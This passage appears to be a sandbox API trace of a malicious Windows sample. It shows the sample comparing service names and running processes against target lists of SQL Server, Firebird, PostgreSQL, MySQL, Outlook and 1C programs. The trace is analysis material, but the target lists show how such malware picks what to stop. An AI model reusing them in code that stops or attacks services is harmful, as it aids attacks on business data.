returned 1 [0079.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0079.553] lstrlenW (lpString="DPS") returned 3 [0079.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0079.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0079.553] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0079.553] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0079.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0079.553] lstrlenW (lpString="eventlog") returned 8 [0079.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0079.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0079.553] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0079.553] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0079.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0079.553] lstrlenW (lpString="EventSystem") returned 11 [0079.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0079.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0079.554] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0079.554] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0079.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0079.554] lstrlenW (lpString="gpsvc") returned 5 [0079.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0079.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0079.554] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0079.554] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0079.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0079.554] lstrlenW (lpString="iphlpsvc") returned 8 [0079.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0079.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0079.554] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0079.554] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0079.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0079.554] lstrlenW (lpString="LanmanServer") returned 12 [0079.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0079.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0079.554] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0079.554] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0079.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0079.554] lstrlenW (lpString="LanmanWorkstation") returned 17 [0079.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0079.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0079.554] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0079.554] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0079.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0079.554] lstrlenW (lpString="lmhosts") returned 7 [0079.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0079.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0079.555] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0079.555] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0079.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0079.555] lstrlenW (lpString="MMCSS") returned 5 [0079.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0079.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0079.555] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0079.555] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0079.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0079.555] lstrlenW (lpString="MpsSvc") returned 6 [0079.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0079.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0079.555] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0079.555] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0079.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0079.555] lstrlenW (lpString="Netman") returned 6 [0079.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0079.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0079.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0079.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0079.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0079.555] lstrlenW (lpString="netprofm") returned 8 [0079.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0079.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0079.556] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0079.556] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0079.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0079.556] lstrlenW (lpString="NlaSvc") returned 6 [0079.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0079.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0079.556] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0079.556] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0079.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0079.556] lstrlenW (lpString="nsi") returned 3 [0079.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0079.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0079.556] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0079.556] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0079.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0079.556] lstrlenW (lpString="PcaSvc") returned 6 [0079.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0079.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0079.556] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0079.556] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0079.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0079.557] lstrlenW (lpString="PlugPlay") returned 8 [0079.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0079.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0079.557] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0079.557] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0079.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0079.557] lstrlenW (lpString="Power") returned 5 [0079.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0079.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0079.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0079.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0079.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0079.557] lstrlenW (lpString="ProfSvc") returned 7 [0079.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0079.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0079.557] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0079.557] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0079.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0079.557] lstrlenW (lpString="RpcEptMapper") returned 12 [0079.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0079.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0079.558] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0079.558] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0079.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0079.558] lstrlenW (lpString="RpcSs") returned 5 [0079.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0079.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0079.558] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0079.558] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0079.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0079.558] lstrlenW (lpString="SamSs") returned 5 [0079.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0079.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0079.558] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0079.558] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0079.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0079.558] lstrlenW (lpString="Schedule") returned 8 [0079.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0079.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0079.558] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0079.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0079.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0079.559] lstrlenW (lpString="SENS") returned 4 [0079.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0079.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0079.559] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0079.559] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0079.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0079.559] lstrlenW (lpString="ShellHWDetection") returned 16 [0079.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0079.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0079.559] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0079.559] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0079.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0079.559] lstrlenW (lpString="Spooler") returned 7 [0079.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0079.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0079.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0079.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0079.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0079.560] lstrlenW (lpString="SysMain") returned 7 [0079.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0079.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0079.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0079.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0079.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0079.560] lstrlenW (lpString="Themes") returned 6 [0079.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0079.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0079.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0079.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0079.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0079.561] lstrlenW (lpString="TrkWks") returned 6 [0079.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0079.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0079.561] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0079.561] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0079.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0079.561] lstrlenW (lpString="UxSms") returned 5 [0079.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0079.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0079.561] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0079.561] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0079.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0079.561] lstrlenW (lpString="WdiServiceHost") returned 14 [0079.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0079.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0079.561] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0079.561] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0079.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0079.562] lstrlenW (lpString="WdiSystemHost") returned 13 [0079.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0079.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0079.562] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0079.562] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0079.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0079.562] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0079.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0079.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0079.562] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0079.562] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0079.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0079.562] lstrlenW (lpString="Winmgmt") returned 7 [0079.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0079.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0079.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0079.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0079.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0079.562] lstrlenW (lpString="WPDBusEnum") returned 10 [0079.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0079.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0079.563] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0079.563] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0079.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0079.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39777a0 | out: hHeap=0x5b0000) returned 1 [0079.563] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0079.570] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0079.571] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0079.572] lstrlenW (lpString="System") returned 6 [0079.572] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0079.572] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0079.572] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0079.572] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0079.572] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0079.572] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0079.572] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0079.572] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0079.573] lstrlenW (lpString="smss.exe") returned 8 [0079.573] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0079.573] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0079.573] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0079.573] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0079.573] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0079.573] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0079.573] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0079.573] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.574] lstrlenW (lpString="csrss.exe") returned 9 [0079.574] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0079.574] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0079.574] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0079.574] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0079.574] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0079.574] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0079.574] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0079.575] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0079.575] lstrlenW (lpString="wininit.exe") returned 11 [0079.575] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0079.575] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0079.575] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0079.575] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0079.575] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0079.575] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0079.576] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0079.576] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.576] lstrlenW (lpString="csrss.exe") returned 9 [0079.576] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0079.576] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0079.577] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0079.577] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0079.577] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0079.577] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0079.577] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0079.578] lstrlenW (lpString="winlogon.exe") returned 12 [0079.578] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0079.579] lstrlenW (lpString="services.exe") returned 12 [0079.579] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0079.579] lstrlenW (lpString="lsass.exe") returned 9 [0079.580] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0079.580] lstrlenW (lpString="lsm.exe") returned 7 [0079.580] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.581] lstrlenW (lpString="svchost.exe") returned 11 [0079.581] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.582] lstrlenW (lpString="svchost.exe") returned 11 [0079.582] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.972] lstrlenW (lpString="svchost.exe") returned 11 [0079.972] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.973] lstrlenW (lpString="svchost.exe") returned 11 [0079.973] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.974] lstrlenW (lpString="svchost.exe") returned 11 [0079.974] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0079.975] lstrlenW (lpString="audiodg.exe") returned 11 [0079.975] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.975] lstrlenW (lpString="svchost.exe") returned 11 [0079.975] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.976] lstrlenW (lpString="svchost.exe") returned 11 [0079.976] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0079.977] lstrlenW (lpString="dwm.exe") returned 7 [0079.977] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0079.978] lstrlenW (lpString="explorer.exe") returned 12 [0079.978] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, 